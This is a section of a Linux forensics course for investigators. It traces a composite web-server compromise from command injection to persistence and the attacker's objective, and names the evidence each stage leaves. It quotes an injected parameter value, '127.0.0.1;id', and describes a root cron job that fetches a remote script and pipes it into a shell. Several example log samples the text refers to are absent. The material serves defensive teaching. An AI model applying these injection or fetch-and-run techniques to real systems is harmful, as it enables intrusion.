In this section
Anatomy of a Linux Server Compromise for Investigators
What a Linux compromise looks like in motion
A compromise is a sequence of stages, and each stage writes evidence to a different place on the host. This sub follows one intrusion from the attacker's first request to their final objective, naming the artifact each stage leaves and where it lands, so that when you arrive after the fact you know what must exist and where to read it.
It teaches no collection command yet. It teaches the map: the shape of an attack and the evidence trail it cannot avoid leaving, which is the frame every later module fills in with technique.
One intrusion, start to finish
The fastest way to learn where Linux evidence lives is to follow a single compromise from the attacker's first packet to their final objective, pausing at each step to name the artifact it creates. The intrusion below is composited from the most common pattern seen against internet-facing Linux: a web server exposed to the internet, an exploitable application, a climb to root, and a quiet arrangement to stay. The hostnames are generic on purpose. The point is the technique and its evidence, which are identical whether the box is yours, a client's, or a lab VM you build in Section 0.10.
Keep one idea in front of you as you read: every action an attacker takes is also an action the system records somewhere. The attacker's job is to make those records blend in. Your job is to know they exist and where to read them. The five stages below each end with the evidence they leave.
This pairing is the spine of the sub. Read each stage below with its evidence source in mind: the attack moves left to right, and the trail it leaves is spread across five places that share no common log.
Stage 1: Initial access
The server runs a public web application. The attacker finds an endpoint that passes user input into a system command without sanitizing it, a command injection flaw, and uses it to run an arbitrary command as the web server's user. No login happens. No credential is stolen yet. The attacker is simply borrowing the web application's ability to execute, which means everything they do at this stage runs as the unprivileged web account (www-data, nginx, or apache depending on the system).
The first evidence is in the web server's access log. The malicious request is recorded like any other, and it stands out because the URL or request body carries the injected command rather than normal input:
Read it closely. A parameter named host that should hold an address instead holds 127.0.0.1;id: a legitimate value, a semicolon, and a second command. The id is the attacker confirming code execution by asking the system who they are. The user agent curl/8.5.0 rather than a browser is a second tell that this is tooling, not a person. This single line is the start of the timeline, and it gives you two anchors immediately: a source IP (198.51.100.7) to pivot on, and a precise timestamp to bound the rest of the investigation.
Stage 2: Establishing a foothold
A single injected command is fragile, so the attacker upgrades to durable access. They use the same injection to write a small script the web application will execute on future requests, a web shell, or to open an interactive connection back to themselves, a reverse shell. Either way, the next evidence appears in two places at once: a new file on disk, and a new process in the running system.
The file shows up in the filesystem with a creation time that matches the request, often in a directory the web application can write to and dropped under an innocuous name:
A PHP file in an uploads directory, hidden by a leading dot, owned by the web user, written seconds after the injection request. Nothing about the filename screams malware, which is the point. What identifies it is the story around it: an executable script, in a directory meant for user uploads, created by the web process at the exact moment of a suspicious request. The running process, meanwhile, is visible live in the process table and tied back to the web server as its parent. Section 0.4 shows how the kernel lets you read exactly which file a running process was launched from, which is how you confirm a process and a dropped file are the same thing.
Stage 3: Privilege escalation
The attacker now has reliable command execution as an unprivileged user. To do real damage, or to access data the web user cannot, they need to become root. Linux offers many escalation paths, and a common one abuses sudo misconfiguration or a program that runs with elevated privilege it should not have. The evidence depends on the path, and this is where the independent log sources earn their keep.
If the escalation goes through sudo, the authentication log records it explicitly:
That entry is loud. The web server's user invoked sudo to run /bin/bash as root, from the web root directory, with no real terminal attached (TTY=unknown). A web service account legitimately running an interactive root shell does not happen in normal operation. If instead the attacker exploited a flawed setuid binary, sudo logs nothing, and the evidence shifts to the process tree and, if it is enabled, the kernel audit log. Knowing which source to check for which escalation path is a core skill, and Module 6 walks every common path and its distinct evidence. The lesson to carry now: a missing entry in one log does not mean the event did not happen. It means you check the next source.
Stage 4: Persistence
Root access on a live process is temporary: a reboot, a killed session, or a patched application can end it. So the attacker arranges to return. As Section 0.1 noted, Linux has no registry, so persistence is established in one of many legitimate mechanisms. A frequent choice is a cron job that runs on a schedule, or an extra SSH key added to a privileged account's authorized keys so the attacker can simply log back in.
A malicious cron entry leaves evidence in the cron spool, and the job it runs is visible when it fires:
Every ten minutes, root downloads a script from a fixed IP address and pipes it straight into a shell. This is persistence and command-and-control in one line: the attacker can change what the script does at any time by editing it on their own server, and the compromised host will fetch and run the new version on the next tick. An added SSH key is even quieter, appending a single line to ~/.ssh/authorized_keys that grants login with no password and no further exploit. Section 0.6 introduces the full first-look list of persistence locations, and Module 7 dedicates a section to each. The investigative habit: after you find one persistence mechanism, keep looking, because attackers commonly plant more than one so that removing the obvious one still leaves them a way back.
Stage 5: Acting on the objective
With durable, privileged access, the attacker finally does what they came for. The objective varies: stealing data from a database, deploying a cryptominer to sell the server's CPU, encrypting files for ransom, or using the host as a stepping stone to the rest of the network. Each objective leaves its own signature, and learning to read those signatures is what Modules 8 through 11 teach one investigation at a time.
The signatures are concrete enough to recognize even at orientation. Data theft shows as unusually large outbound transfers, often to cloud storage or a single external address, paired with database query logs or access timestamps on sensitive files that cluster in a short window. A cryptominer is the easiest to spot and the most common: a process consuming all available CPU, frequently renamed to look like a kernel thread, holding a persistent connection to a mining pool on a characteristic port. Ransomware appears as a burst of file modifications across many directories in minutes, with original files replaced by encrypted versions and a ransom note written into each folder. Lateral movement shows as outbound SSH or other remote-access connections initiated by a host that, in normal operation, only ever receives them. A web server reaching out to connect to other internal machines is backwards from its normal role, and that reversal is the tell.
What matters at orientation level is the shape of the whole. Five stages, each recorded in a different place: the web log caught the entry, the filesystem and process table caught the foothold, the authentication log caught the escalation, the cron spool caught the persistence, and the network and process evidence will catch the objective. No single source told the story. The investigation is the act of gathering these fragments and ordering them into the sequence you just read, after the fact, often with the attacker having tried to erase some of them.
The timing between stages is itself evidence. In the example above, the injection request, the dropped web shell, and the root escalation all happened within roughly three minutes. That compression is a fingerprint of automation: a human operator typing commands interactively leaves minutes or hours between stages, while a script that exploits, drops a shell, and escalates in one run compresses them into seconds. When you reconstruct a timeline and the early stages cluster tightly, you are likely looking at an automated toolkit rather than a hands-on-keyboard intruder, which tells you something about who you are dealing with and what else to expect.
Reading the stages backward
In a real incident you almost never start at Stage 1. You start in the middle, with whatever tripped the alert: a CPU spike from the miner, a connection to a known-bad address, a file integrity warning. From that single observation you work outward in both directions, earlier to find how the attacker arrived and later to find everything they did. The five-stage model is the map that tells you what must exist between where you entered and the edges of the intrusion. If you found the cron job, there was a way it got installed, which means escalation, which means a foothold, which means initial access, each with evidence waiting to be read. The next section makes that evidence concrete: every source on a Linux host, what it captures, and how quickly it disappears.